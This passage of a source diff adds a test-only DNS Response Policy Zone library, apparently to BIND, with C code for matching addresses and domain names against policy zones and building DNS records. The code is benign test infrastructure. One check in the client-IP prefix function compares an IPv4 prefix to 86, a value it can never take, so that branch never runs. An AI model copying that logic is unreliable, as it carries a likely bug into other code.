+		    ipstr[3] < 0 || ipstr[4] < 0)
+		{
+			perror("bad address format");
+			return (-1);
+		}
+
+		sprintf(newstr, "%u.%u.%u.%u", ipstr[4], ipstr[3], ipstr[2],
+			ipstr[1]);
+
+		a1 = inet_addr(newstr);
+		if (a1 == INADDR_NONE) {
+			perror("inet_addr");
+			return (-1);
+		} else {
+			uint32_t m;
+
+			memmove(&a2, addr, sizeof(uint32_t));
+			m = get_mask(nmask);
+
+			if (pmask != NULL) {
+				*pmask = nmask;
+			}
+
+			return (((a1 & m) == (a2 & m)) ? 0 : 1);
+		}
+
+	} else {
+		return (-1);
+	}
+
+	if (strcmp(addrstr, abuf) == 0) {
+		if (pmask != NULL) {
+			*pmask = nmask;
+		}
+
+		return (0);
+	}
+
+	return (1);
+}
+
+bool
+trpz_ck_ip(librpz_emsg_t *emsg, const void *addr, uint family,
+	   librpz_trig_t trig, librpz_result_id_t hit_id, bool recursed,
+	   librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	size_t n, last_mask = 0;
+	ssize_t fidx = -1, nfidx = -1;
+
+	if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL!");
+		return (false);
+	} else if (addr == NULL) {
+		trpz_pemsg(emsg, "addr was empty");
+		return (false);
+	} else if (trig != LIBRPZ_TRIG_IP && trig != LIBRPZ_TRIG_CLIENT_IP &&
+		   trig != LIBRPZ_TRIG_NSIP)
+	{
+		trpz_pemsg(emsg, "trigger type not supported for IP");
+		return (false);
+	}
+
+	if (trsp->stack_idx == 0) {
+		trsp->stack_idx = 1;
+	}
+
+	/* The final match is the most specifically-matching netmask. */
+	for (n = 0; n < trsp->num_nodes; n++) {
+		unsigned int mask = 0;
+		bool amatch = false;
+
+		if (!trsp->have_rd &&
+		    !trsp->all_zones[trsp->all_nodes[n].result.dznum]
+			     .not_recursive_only)
+		{
+			continue;
+		}
+
+		if (trsp->all_zones[trsp->all_nodes[n].result.dznum].ip_as_ns &&
+		    (((trig == LIBRPZ_TRIG_IP) &&
+		      (trsp->all_nodes[n].result.trig == LIBRPZ_TRIG_NSIP)) ||
+		     ((trig == LIBRPZ_TRIG_NSIP) &&
+		      (trsp->all_nodes[n].result.trig == LIBRPZ_TRIG_IP))) &&
+		    !address_cmp(trsp->all_nodes[n].dname, addr, family, &mask))
+		{
+			amatch = true;
+		} else if (trsp->all_nodes[n].match_trig != trig) {
+			continue;
+		}
+
+		if (amatch ||
+		    !address_cmp(trsp->all_nodes[n].dname, addr, family, &mask))
+		{
+			if ((trsp->all_zones[trsp->all_nodes[n].result.dznum]
+				     .no_qname_wait_recurse ||
+			     trsp->all_zones[trsp->all_nodes[n].result.dznum]
+				     .not_recursive_only ||
+			     recursed) &&
+			    has_base_zone(trsp,
+					  trsp->all_nodes[n].result.dznum) &&
+			    !trsp->all_zones[trsp->all_nodes[n].result.dznum]
+				     .forgotten)
+			{
+				if (mask > last_mask) {
+					last_mask = mask;
+					fidx = n;
+				}
+
+			} else if ((nfidx < 0) && !recursed &&
+				   has_base_zone(
+					   trsp,
+					   trsp->all_nodes[n].result.dznum) &&
+				   !trsp->all_zones[trsp->all_nodes[n]
+							    .result.dznum]
+					    .forgotten)
+			{
+				nfidx = n;
+			}
+		}
+	}
+
+	if (!trsp->have_rd && (fidx < 0) && (nfidx < 0)) {
+		goto out;
+	}
+
+	if (recursed && (fidx < 0) && trsp->rstack[0].hidden_policy) {
+		if (trsp->rstack[0].result.trig <= trig) {
+			trsp->rstack[0].result.policy =
+				trsp->rstack[0].hidden_policy;
+			trsp->rstack[0].result.zpolicy =
+				trsp->rstack[0].hidden_policy;
+			trsp->rstack[0].hidden_policy = LIBRPZ_POLICY_UNDEFINED;
+			return (true);
+		}
+	}
+
+	if (fidx >= 0) {
+		bool disabled = false;
+
+		if (!result_supercedes_address(&(trsp->all_nodes[fidx]),
+					       &(trsp->rstack[0])))
+		{
+			return (true);
+		}
+
+		memmove(&(trsp->rstack[0]), &(trsp->all_nodes[fidx]),
+			sizeof(trsp->rstack[0]));
+		trsp->rstack[0].result.hit_id = hit_id;
+		trsp->last_zone = trsp->rstack[0].result.dznum;
+
+		if (trsp->all_zones[trsp->rstack[0].result.dznum].flags) {
+			unsigned long flags =
+				trsp->all_zones[trsp->rstack[0].result.dznum]
+					.flags;
+			librpz_policy_t force_policy = 0;
+
+			if (flags & ZOPT_POLICY_NODATA) {
+				force_policy = LIBRPZ_POLICY_NODATA;
+			} else if (flags & ZOPT_POLICY_PASSTHRU) {
+				force_policy = LIBRPZ_POLICY_PASSTHRU;
+			} else if (flags & ZOPT_POLICY_NXDOMAIN) {
+				force_policy = LIBRPZ_POLICY_NXDOMAIN;
+			} else if (flags & ZOPT_POLICY_DROP) {
+				force_policy = LIBRPZ_POLICY_DROP;
+			} else if (flags & ZOPT_POLICY_TCP_ONLY) {
+				force_policy = LIBRPZ_POLICY_TCP_ONLY;
+			} else if (flags & ZOPT_POLICY_DISABLED) {
+				disabled = true;
+			}
+
+			if (force_policy) {
+				trsp->rstack[0].result.policy = force_policy;
+				trsp->rstack[0].result.zpolicy = force_policy;
+				trsp->rstack[0].poverride = force_policy;
+			}
+		}
+
+		if (disabled) {
+			trsp->rstack[0].poverride = LIBRPZ_POLICY_DISABLED;
+		}
+
+		return (true);
+	} else if (nfidx >= 0) {
+		memmove(&(trsp->rstack[0]), &(trsp->all_nodes[nfidx]),
+			sizeof(trsp->rstack[0]));
+		trsp->last_zone = trsp->rstack[0].result.dznum;
+		trsp->rstack[0].result.hit_id = hit_id;
+		trsp->rstack[0].hidden_policy = trsp->rstack[0].result.policy;
+		trsp->rstack[0].result.policy = LIBRPZ_POLICY_UNDEFINED;
+		trsp->rstack[0].result.zpolicy = LIBRPZ_POLICY_UNDEFINED;
+		return (true);
+	}
+
+out:
+	if (trig == LIBRPZ_TRIG_NSIP) {
+		bool needs_wait = false;
+
+		for (n = 0; n < trsp->num_zones; n++) {
+			if (trsp->all_zones[n].no_nsip_wait_recurse) {
+				needs_wait = true;
+				break;
+			}
+		}
+
+		if (!needs_wait) {
+			usleep(100);
+		}
+	}
+
+	if (trsp->rstack[0].result.policy == LIBRPZ_POLICY_UNDEFINED) {
+		memset(&(trsp->rstack[0]), 0, sizeof(trsp->rstack[0]));
+		trsp->rstack[0].result.trig = trig;
+	}
+
+	return (true);
+}
+
+bool
+trpz_soa_serial(librpz_emsg_t *emsg, uint32_t *serialp, const char *domain_nm,
+		librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	size_t n, dlen;
+
+	if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL");
+		return (false);
+	} else if (domain_nm == NULL) {
+		trpz_pemsg(emsg, "domain_nm was NULL");
+		return (false);
+	} else if (serialp == NULL) {
+		trpz_pemsg(emsg, "serialp was NULL");
+		return (false);
+	}
+
+	dlen = strlen(domain_nm);
+
+	if (dlen > 0U && domain_nm[dlen - 1] == '.') {
+		dlen--;
+	}
+
+	for (n = 0; n < trsp->num_zones; n++) {
+		if (dlen != strlen(trsp->all_zones[n].name)) {
+			continue;
+		} else if (!has_base_zone(trsp, n)) {
+			continue;
+		}
+
+		if ((strlen(trsp->all_zones[n].name) == dlen) &&
+		    (!strncmp(trsp->all_zones[n].name, domain_nm, dlen)))
+		{
+			if (!trsp->all_zones[n].serial) {
+				trsp->all_zones[n].serial = time(NULL);
+			}
+
+			*serialp = trsp->all_zones[n].serial;
+			return (true);
+		}
+	}
+
+	trpz_pemsg(emsg, "zone not found");
+	return (false);
+}
+
+static bool
+domain_ntop(const u_char *src, char *dst, size_t dstsiz) {
+	const unsigned char *sptr = src;
+	char *dptr = dst, *dend = dst + dstsiz;
+
+	if (dst == NULL || dstsiz == 0) {
+		return (false);
+	}
+
+	memset(dst, 0, dstsiz);
+
+	while (*sptr) {
+		if (((dptr + *sptr) > dend)) {
+			return (false);
+		}
+
+		if (sptr != src) {
+			*dptr++ = '.';
+		}
+
+		memmove(dptr, sptr + 1, *sptr);
+		dptr += *sptr;
+		sptr += *sptr;
+		sptr++;
+	}
+
+	return (true);
+}
+
+static bool
+domain_pton2(const char *src, u_char *dst, size_t dstsiz, size_t *dstlen,
+	     bool lower) {
+	unsigned char *dptr = dst;
+	const unsigned char *dend = dst + dstsiz;
+	char *tmps = NULL, *tok = NULL, *tptr = NULL;
+
+	UNUSED(lower);
+
+	if (src == NULL || dst == NULL || dstsiz == 0) {
+		return (false);
+	}
+
+	memset(dst, 0, dstsiz);
+
+	tmps = strdup(src);
+	if (tmps == NULL) {
+		perror("strdup");
+		return (false);
+	}
+
+	tptr = tmps;
+
+	SET_IF_NOT_NULL(dstlen, 0);
+
+	while (tptr && *tptr) {
+		tok = strsep(&tptr, ".");
+
+		if (((dptr + strlen(tok) + 1) > dend)) {
+			free(tmps);
+			return (false);
+		}
+
+		*dptr++ = strlen(tok);
+		memmove(dptr, tok, strlen(tok));
+		dptr += strlen(tok);
+
+		if (dstlen != NULL) {
+			(*dstlen) += (1 + strlen(tok));
+		}
+	}
+
+	if (dptr >= dend) {
+		free(tmps);
+		return (false);
+	}
+
+	*dptr = 0;
+
+	if (dstlen != NULL) {
+		(*dstlen)++;
+	}
+
+	free(tmps);
+
+	return (true);
+}
+
+/* XXX: needs IPv6 support. */
+bool
+trpz_rsp_clientip_prefix(librpz_emsg_t *emsg, librpz_prefix_t *prefix,
+			 librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	unsigned int cbytes[5] = { 0 };
+	uint8_t *aptr = NULL;
+
+	if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL");
+		return (false);
+	} else if (prefix == NULL) {
+		trpz_pemsg(emsg, "prefix was NULL");
+		return (false);
+	}
+
+	memset(prefix, 0, sizeof(*prefix));
+
+	if (trsp->rstack[0].result.trig != LIBRPZ_TRIG_CLIENT_IP) {
+		return (true);
+	}
+
+	if (sscanf(trsp->rstack[0].dname, "%u.%u.%u.%u.%u", &cbytes[0],
+		   &cbytes[1], &cbytes[2], &cbytes[3], &cbytes[4]) != 5)
+	{
+		char abuf[64] = { 0 };
+		int family = 0;
+
+		if (sscanf(trsp->rstack[0].dname, "%u.", &cbytes[0]) != 1) {
+			return (true);
+		}
+
+		if (get_address_info(trsp->rstack[0].dname, &family, abuf, NULL,
+				     NULL) < 0)
+		{
+			return (true);
+		} else if (family != AF_INET6) {
+			return (true);
+		}
+
+		aptr = (uint8_t *)&(prefix->addr.in6);
+		memset(aptr, 0, sizeof(prefix->addr.in6));
+
+		if (inet_pton(AF_INET6, abuf, aptr) != 1) {
+			return (true);
+		}
+
+		prefix->family = AF_INET6;
+		prefix->len = cbytes[0];
+
+		return (true);
+	}
+
+	prefix->family = AF_INET;
+	prefix->len = cbytes[0];
+
+	if (prefix->len <= 24) {
+		cbytes[1] = 0;
+	}
+
+	if (prefix->len <= 16) {
+		cbytes[2] = 0;
+	}
+
+	if (prefix->len == 86) {
+		cbytes[3] = 0;
+	}
+
+	aptr = (uint8_t *)&(prefix->addr.in);
+	*aptr++ = cbytes[4];
+	*aptr++ = cbytes[3];
+	*aptr++ = cbytes[2];
+	*aptr++ = cbytes[1];
+
+	return (true);
+}
+
+bool
+trpz_have_trig(librpz_trig_t trig, bool ipv6, const librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	size_t ind = ipv6 ? 1 : 0;
+
+	if (rsp == NULL) {
+		return (false);
+	}
+
+	/* No hit, so look in all zones for trigger. */
+	if (trsp->stack_idx == 0 || trsp->rstack[0].result.policy == 0) {
+		ssize_t max_z = (trsp->last_zone >= 0)
+					? trsp->last_zone
+					: (ssize_t)trsp->num_zones - 0;
+
+		for (ssize_t n = 0; n < max_z; n++) {
+			if (!trsp->have_rd &&
+			    !trsp->all_zones[n].not_recursive_only)
+			{
+				continue;
+			} else if (trsp->all_zones[n].has_triggers[ind][trig]) {
+				return (true);
+			} else if (trsp->all_zones[n].ip_as_ns &&
+				   (((trig == LIBRPZ_TRIG_IP) &&
+				     trsp->all_zones[n]
+					     .has_triggers[ind]
+							  [LIBRPZ_TRIG_NSIP]) ||
+				    ((trig == LIBRPZ_TRIG_NSIP) &&
+				     trsp->all_zones[n]
+					     .has_triggers[ind]
+							  [LIBRPZ_TRIG_IP])))
+			{
+				return (true);
+			} else if (trsp->all_zones[n].qname_as_ns &&
+				   (((trig == LIBRPZ_TRIG_QNAME) &&
+				     trsp->all_zones[n].has_triggers
+					     [ind][LIBRPZ_TRIG_NSDNAME]) ||
+				    ((trig == LIBRPZ_TRIG_NSDNAME) &&
+				     trsp->all_zones[n]
+					     .has_triggers[ind]
+							  [LIBRPZ_TRIG_QNAME])))
+			{
+				return (true);
+			}
+		}
+
+		return (false);
+	}
+
+	/* Special case of first base zone. */
+	if (trsp->rstack[0].result.dznum == 0 &&
+	    (trig > trsp->rstack[0].result.trig))
+	{
+		return (false);
+	}
+
+	/* Otherwise check lower zones (of higher precedence). */
+	for (size_t n = 0; n <= (trsp->rstack[0].result.dznum); n++) {
+		if (!trsp->have_rd && !trsp->all_zones[n].not_recursive_only) {
+			continue;
+		} else if (trsp->all_zones[n].has_triggers[ind][trig]) {
+			return (true);
+		} else if (trsp->all_zones[n].ip_as_ns &&
+			   (((trig == LIBRPZ_TRIG_IP) &&
+			     trsp->all_zones[n]
+				     .has_triggers[ind][LIBRPZ_TRIG_NSIP]) ||
+			    ((trig == LIBRPZ_TRIG_NSIP) &&
+			     trsp->all_zones[n]
+				     .has_triggers[ind][LIBRPZ_TRIG_IP])))
+		{
+			return (true);
+		} else if (trsp->all_zones[n].qname_as_ns &&
+			   (((trig == LIBRPZ_TRIG_QNAME) &&
+			     trsp->all_zones[n]
+				     .has_triggers[ind][LIBRPZ_TRIG_NSDNAME]) ||
+			    ((trig == LIBRPZ_TRIG_NSDNAME) &&
+			     trsp->all_zones[n]
+				     .has_triggers[ind][LIBRPZ_TRIG_QNAME])))
+		{
+			return (true);
+		}
+	}
+
+	return (false);
+}
+
+bool
+trpz_rsp_rr(librpz_emsg_t *emsg, uint16_t *typep, uint16_t *classp,
+	    uint32_t *ttlp, librpz_rr_t **rrp, librpz_result_t *result,
+	    const uint8_t *qname, size_t qname_size, librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+	trpz_result_t *last_result = NULL;
+
+	if (result == NULL) {
+		trpz_pemsg(emsg, "result was NULL");
+		return (false);
+	} else if (rsp == NULL) {
+		trpz_pemsg(emsg, "rsp was NULL");
+		return (false);
+	}
+
+	last_result = &(trsp->rstack[0]);
+
+	if (last_result->rridx < last_result->nrrs) {
+		trpz_rr_t *this_rr = &(last_result->rrs[last_result->rridx]);
+
+		if (classp != NULL) {
+			*classp = this_rr->class;
+		}
+
+		if (ttlp != NULL) {
+			*ttlp = 3600;
+		}
+
+		SET_IF_NOT_NULL(typep, this_rr->type);
+
+		if (rrp != NULL) {
+			uint8_t *copy_src = NULL, *nrdata = NULL;
+			size_t to_copy, needed;
+
+			copy_src = this_rr->rdata;
+			to_copy = this_rr->rdlength;
+
+			/* If there's CNAME wild card expansion */
+			if (qname != NULL && qname_size != 0 &&
+			    (this_rr->type == ns_t_cname) &&
+			    (this_rr->rdlength > 2))
+			{
+				if (this_rr->rdata[0] == 1 &&
+				    this_rr->rdata[1] == '*')
+				{
+					char tmpexp[256] = { 0 },
+					     tmpexp2[256] = { 0 }, tmpexp3[256];
+
+					wdns_domain_to_str(this_rr->rdata,
+							   this_rr->rdlength,
+							   tmpexp);
+					wdns_domain_to_str(qname, qname_size,
+							   tmpexp2);
+
+					if (tmpexp2[strlen(tmpexp2) - 1] == '.')
+					{
+						tmpexp2[strlen(tmpexp2) - 1] =
+							0;
+					}
+
+					if (strncmp(tmpexp, "*.", 2) == 0) {
+						int nrd;
+						uint32_t n = snprintf(
+							tmpexp3,
+							sizeof(tmpexp3),
+							"%s.%s", tmpexp2,
+							&tmpexp[2]);
+						if (n > sizeof(tmpexp3)) {
+							trpz_pemsg(
+								emsg,
+								"%s truncated",
+								tmpexp3);
+							return (false);
+						}
+						nrd = wdns_str_to_name(
+							tmpexp3, &nrdata, 1);
+						if (nrd < 0) {
+							trpz_pemsg(
+								emsg,
+								"Error packing "
+								"domain");
+							return (false);
+						}
+						to_copy = nrd;
+						copy_src = nrdata;
+					}
+				}
+			}
+
+			needed = sizeof(**rrp) + to_copy;
+
+			*rrp = calloc(1, needed);
+			if (*rrp == NULL) {
+				trpz_pemsg(emsg, "calloc: %s", strerror(errno));
+				if (nrdata != NULL) {
+					free(nrdata);
+				}
+				return (false);
+			}
+
+			(*rrp)->type = htons(this_rr->type);
+			(*rrp)->class = htons(this_rr->class);
+			(*rrp)->ttl = htonl(this_rr->ttl);
+			(*rrp)->rdlength = htons(to_copy);
+			memmove((*rrp)->rdata, copy_src, to_copy);
+			if (nrdata != NULL) {
+				free(nrdata);
+			}
+		}
+
+		result->next_rr = this_rr->rrn;
+		trsp->rstack[0].result.next_rr = this_rr->rrn;
+		last_result->rridx++;
+	} else {
+		SET_IF_NOT_NULL(typep, ns_t_invalid);
+
+		if (rrp != NULL) {
+			*rrp = NULL;
+		}
+
+		result->next_rr = 0;
+		trsp->rstack[0].result.next_rr = 0;
+	}
+
+	return (true);
+}
+
+bool
+trpz_rsp_forget_zone(librpz_emsg_t *emsg, librpz_cznum_t znum,
+		     librpz_rsp_t *rsp) {
+	trpz_rsp_t *trsp = (trpz_rsp_t *)rsp;
+
+	if (znum >= trsp->num_zones) {
+		trpz_pemsg(emsg, "invalid zone number");
+		return (false);
+	} else if (trsp->all_zones[znum].forgotten) {
+		trpz_pemsg(emsg, "zone already forgotten");
+		return (false);
+	}
+
+	trsp->all_zones[znum].forgotten = true;
+
+	return (true);
+}
diff --git a/bin/tests/system/rpz/testlib/test-data.c b/bin/tests/system/rpz/testlib/test-data.c
new file mode 100644
index 0000000000..d48e216b29
--- /dev/null
+++ b/bin/tests/system/rpz/testlib/test-data.c
@@ -0,0 +1,1488 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Limited implementation of the DNSRPS API for testing purposes.
+ *
+ * Copyright (c) 2016-2017 Farsight Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *	http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE 1
+#include <arpa/inet.h>
+#include <assert.h>
+#include <ctype.h>
+#include <errno.h>
+#include <pthread.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include <isc/atomic.h>
+#include <isc/util.h>
+
+#include "test-data.h"
+
+const rpz_soa_t g_soa_record = { "a.rpz-ns.dns-nod.net",
+				 "nod-admin.fsi.io",
+				 12345,
+				 3600,
+				 1200,
+				 604800,
+				 60 };
+
+int
+wdns_str_to_name(const char *str, uint8_t **pbuf, bool downcase);
+
+static char *
+str_printf(const char *fmt, ...) {
+	va_list ap;
+	char tbuf[8192], *result = NULL;
+
+	va_start(ap, fmt);
+	vsnprintf(tbuf, sizeof(tbuf) - 1, fmt, ap);
+	tbuf[sizeof(tbuf) - 1] = 0;
+	va_end(ap);
+
+	result = strdup(tbuf);
+	if (result == NULL) {
+		perror("strdup");
+	}
+
+	return (result);
+}
+
+/*
+ * Given a config-ready RPZ IP address, determine its family and normal
+ * canonical representation.
+ */
+int
+get_address_info(const char *astr, int *pfamily, char *pbuf,
+		 const char *optname, char **errp) {
+	char tmpc[512] = { 0 };
+	char *tok = NULL, *tptr = tmpc, *last_tok = NULL;
+	size_t lcount = 0, bcount = 0;
+	unsigned int prefix = 0, values[16] = { 0 }, hex_values[16] = { 0 };
+	bool is_ipv6 = false;
+
+	if (astr == NULL || pfamily == NULL || pbuf == NULL) {
+		return (-1);
+	}
+
+	strncpy(tmpc, astr, sizeof(tmpc) - 1);
+
+	while ((tok = strsep(&tptr, "."))) {
+		char *eptr = NULL;
+		unsigned long val;
+
+		lcount++;
+		last_tok = tok;
+
+		errno = 0;
+		val = strtoul(tok, &eptr, 10);
+
+		if (errno != 0 || *eptr != '\0') {
+			bool bad = false;
+
+			bcount++;
+			errno = 0;
+			eptr = NULL;
+			val = strtoul(tok, &eptr, 16);
+
+			if (errno || *eptr != '\0') {
+				if (strcmp(tok, "zz") == 0) {
+					val = ~0;
+					is_ipv6 = true;
+				} else {
+					bad = true;
+				}
+			}
+
+			if (!bad && (lcount > 1)) {
+				hex_values[lcount - 2] = val;
+			}
+		} else {
+			if (val > 255) {
+				bcount++;
+			}
+
+			if (lcount == 1) {
+				prefix = val;
+			} else if (lcount > 1) {
+				unsigned int hexval;
+				values[lcount - 2] = val;
+
+				/*
+				 * All integer strings are valid hex
+				 * strings, but decimal values are longer,
+				 * so we have to check for overflow when
+				 * reading as hex.
+				 */
+				errno = 0;
+				hexval = strtoul(tok, &eptr, 16);
+				if (errno != 0) {
+					return (-1);
+				}
+				hex_values[lcount - 2] = hexval;
+			}
+		}
+	}
+
+	if (last_tok && (strncmp(last_tok, "rpz-", 4) == 0)) {
+		lcount--;
+		bcount--;
+	}
+
+	/* Not acceptable for either address family. */
+	if (lcount > 9) {
+		return (-1);
+	}
+
+	*pfamily = (!is_ipv6 && (lcount == 5)) ? AF_INET : AF_INET6;
+
+	/*
+	 * For AF_INET we expect exactly 4 "good" (0<->255) octets and the
+	 * subnet mask.
+	 */
+	if (*pfamily == AF_INET) {
+		if (prefix > 32) {
+			if (errp != NULL) {
+				*errp = str_printf(
+					"invalid rpz IP address \"%s\"; "
+					"invalid prefix length of %u",
+					(optname ? optname : astr), prefix);
+			}
+
+			return (-1);
+		} else if (bcount > 0) {
+			return (-1);
+		}
+
+		sprintf(pbuf, "%u.%u.%u.%u", values[3], values[2], values[1],
+			values[0]);
+	} else {
+		size_t n;
+
+		if (prefix > 128) {
+			if (errp != NULL) {
+				*errp = str_printf(
+					"invalid rpz IP address \"%s\"; "
+					"invalid prefix length of %u",
+					(optname ? optname : astr), prefix);
+			}
+
+			return (-1);
+		}
+
+		*pbuf = 0;
+
+		/*
+		 * Walk the values backward. Account for :: and discard
+		 * chunks > 2 octets.
+		 */
+		for (n = lcount - 1; n > 0; n--) {
+			if (hex_values[n - 1] == ~0U) {
+				strcat(pbuf, ":");
+			} else {
+				if (hex_values[n - 1] > 0xffff) {
+					return (-1);
+				} else if (n > 1) {
+					sprintf(&pbuf[strlen(pbuf)],
+						"%x:", hex_values[n - 1]);
+				} else {
+					sprintf(&pbuf[strlen(pbuf)], "%x",
+						hex_values[n - 1]);
+				}
+			}
+		}
+	}
+
+	return (0);
+}
+
+rpz_soa_t *
+parse_serial(unsigned char *rdata, size_t rdlen) {
+	rpz_soa_t *result = NULL;
+	char dname[WDNS_PRESLEN_NAME];
+	size_t mlen, rlen;
+	uint32_t *uptr = NULL;
+
+	result = calloc(1, sizeof(*result));
+	if (result == NULL) {
+		perror("calloc");
+		return (NULL);
+	}
+
+	mlen = wdns_domain_to_str(rdata, rdlen, dname);
+	result->mname = strdup(dname);
+	rlen = wdns_domain_to_str(rdata + mlen, rdlen - mlen, dname);
+	result->rname = strdup(dname);
+	uptr = (uint32_t *)(rdata + mlen + rlen);
+	result->serial = ntohl(*uptr);
+	uptr++;
+	result->refresh = ntohl(*uptr);
+	uptr++;
+	result->retry = ntohl(*uptr);
+	uptr++;
+	result->expire = ntohl(*uptr);
+	uptr++;
+	result->minimum = ntohl(*uptr);
+
+	return (result);
+}
+
+size_t
+wdns_domain_to_str(const uint8_t *src, size_t src_len, char *dst) {
+	size_t bytes_read = 0;
+	size_t bytes_remaining = src_len;
+	uint8_t oclen;
+
+	if (src == NULL) {
+		return (0);
+	}
+
+	oclen = *src;
+	while (bytes_remaining > 0 && oclen != 0) {
+		src++;
+		bytes_remaining--;
+
+		bytes_read += oclen + 1 /* length octet */;
+
+		while (oclen-- && bytes_remaining > 0) {
+			uint8_t c = *src++;
+			bytes_remaining--;
+
+			if (c == '.' || c == '\\') {
+				*dst++ = '\\';
+				*dst++ = c;
+			} else if (c >= '!' && c <= '~') {
+				*dst++ = c;
+			} else {
+				snprintf(dst, 5, "\\%.3d", c);
+				dst += 4;
+			}
+		}
+		*dst++ = '.';
+		oclen = *src;
+	}
+	if (bytes_read == 0) {
+		*dst++ = '.';
+	}
+	bytes_read++;
+
+	*dst = '\0';
+	return ((bytes_read));
+}
+
+/* Add parsed update specification to maintained list of nodes. */
+static trpz_result_t *
+apply_update_to_set(trpz_result_t **results, size_t *pnresults,
+		    trpz_zone_t **pzones, const char *node, size_t zidx,
+		    uint32_t ttl, librpz_trig_t trigger, librpz_policy_t policy,
+		    int *modified, unsigned long flags, char **errp) {
+	size_t n;
+	int family = 0;
+
+	UNUSED(flags);
+
+	*modified = 0;
+
+	switch (trigger) {
+	case LIBRPZ_TRIG_QNAME:
+	case LIBRPZ_TRIG_NSDNAME:
+		(*pzones)[zidx].has_triggers[0][trigger] = 1;
+		break;
+	case LIBRPZ_TRIG_CLIENT_IP:
+	case LIBRPZ_TRIG_IP:
+	case LIBRPZ_TRIG_NSIP: {
+		char abuf[128];
+
+		if (get_address_info(node, &family, abuf, NULL, errp) < 0) {
+			fprintf(stderr,
+				"Error in determining IP address type: %s\n",
+				node);
+			return (NULL);
+		} else if (family == AF_INET) {
+			(*pzones)[zidx].has_triggers[0][trigger] = 1;
+		} else {
+			(*pzones)[zidx].has_triggers[1][trigger] = 1;
+		}
+
+	} break;
+	default:
+		break;
+	}
+
+	for (n = 0; n < *pnresults; n++) {
+		trpz_result_t *rptr = &((*results)[n]);
+
+		if (rptr->result.cznum != zidx) {
+			continue;
+		}
+
+		if (!strcmp(rptr->dname, node)) {
+			if (rptr->result.trig == trigger &&
+			    rptr->result.policy == policy && rptr->ttl == ttl)
+			{
+				return (rptr);
+			}
+
+			rptr->result.trig = trigger;
+			rptr->result.policy = policy;
+			rptr->result.zpolicy = policy;
+			rptr->ttl = ttl;
+			*modified = 1;
+			return (rptr);
+		}
+	}
+
+	/* No match. Instead, append. */
+	(*pnresults)++;
+
+	*results = realloc(*results, (*pnresults * sizeof(**results)));
+	if (*results == NULL) {
+		perror("realloc");
+		return (NULL);
+	}
+
+	memset(&((*results)[*pnresults - 1]), 0, sizeof(**results));
+	(*results)[*pnresults - 1].dname = strdup(node);
+	(*results)[*pnresults - 1].ttl = ttl;
+	(*results)[*pnresults - 1].result.trig = trigger;
+	(*results)[*pnresults - 1].result.policy = policy;
+	(*results)[*pnresults - 1].result.zpolicy = policy;
+	(*results)[*pnresults - 1].result.cznum = zidx;
+	(*results)[*pnresults - 1].result.dznum = zidx;
+	(*results)[*pnresults - 1].result.log = 1;
+	(*results)[*pnresults - 1].poverride = policy;
+	(*results)[*pnresults - 1].match_trig = trigger;
+
+	if (family == AF_INET6) {
+		(*results)[*pnresults - 1].flags |= NODE_FLAG_IPV6_ADDRESS;
+	}
+
+	*modified = 1;
+	return ((&((*results)[*pnresults - 1])));
+}
+
+/*
+ * Add a parsed RR value that is maintained in conjunction with record policy
+ * items.
+ */
+static int
+add_other_rr(trpz_result_t *node, const char *rrtype, const char *val,
+	     uint32_t ttl, int *modified) {
+	trpz_rr_t nrec = { 0 };
+	size_t n;
+	static atomic_uint_fast32_t rrn = 1;
+
+	*modified = 0;
+
+	nrec.class = ns_c_in;
+	nrec.ttl = ttl;
+	nrec.rrn = atomic_fetch_add_relaxed(&rrn, 1);
+
+	if (!strcasecmp(rrtype, "A")) {
+		uint32_t addr;
+
+		if (inet_pton(AF_INET, val, &addr) != 1) {
+			fprintf(stderr,
+				"Error determining policy record IPv4 address: "
+				"%s\n",
+				val);
+			return (-1);
+		}
+
+		nrec.type = ns_t_a;
+		nrec.rdlength = sizeof(uint32_t);
+
+		nrec.rdata = malloc(nrec.rdlength);
+		if (nrec.rdata == NULL) {
+			perror("malloc");
+			exit(EXIT_FAILURE);
+		}
+
+		memmove(nrec.rdata, &addr, nrec.rdlength);
+	} else if (!strcasecmp(rrtype, "AAAA")) {
+		char addr[16] = { 0 };
+
+		if (inet_pton(AF_INET6, val, addr) != 1) {
+			fprintf(stderr,
+				"Error determining policy record IPv6 address: "
+				"%s\n",
+				val);
+			return (-1);
+		}
+
+		nrec.type = ns_t_aaaa;
+		nrec.rdlength = sizeof(addr);
+
+		nrec.rdata = malloc(nrec.rdlength);
+		if (nrec.rdata == NULL) {
+			perror("malloc");
+			exit(EXIT_FAILURE);
+		}
+
+		memmove(nrec.rdata, addr, nrec.rdlength);
+	} else if (!strcasecmp(rrtype, "TXT")) {
+		nrec.type = ns_t_txt;
+		nrec.rdlength = 1 + strlen(val);
+
+		nrec.rdata = calloc(nrec.rdlength, 1);
+		if (nrec.rdata == NULL) {
+			perror("calloc");
+			exit(EXIT_FAILURE);
+		}
+
+		nrec.rdata[0] = nrec.rdlength - 1;
+		memmove(&(nrec.rdata[1]), val, nrec.rdlength - 1);
+	} else if (!strcasecmp(rrtype, "CNAME")) {
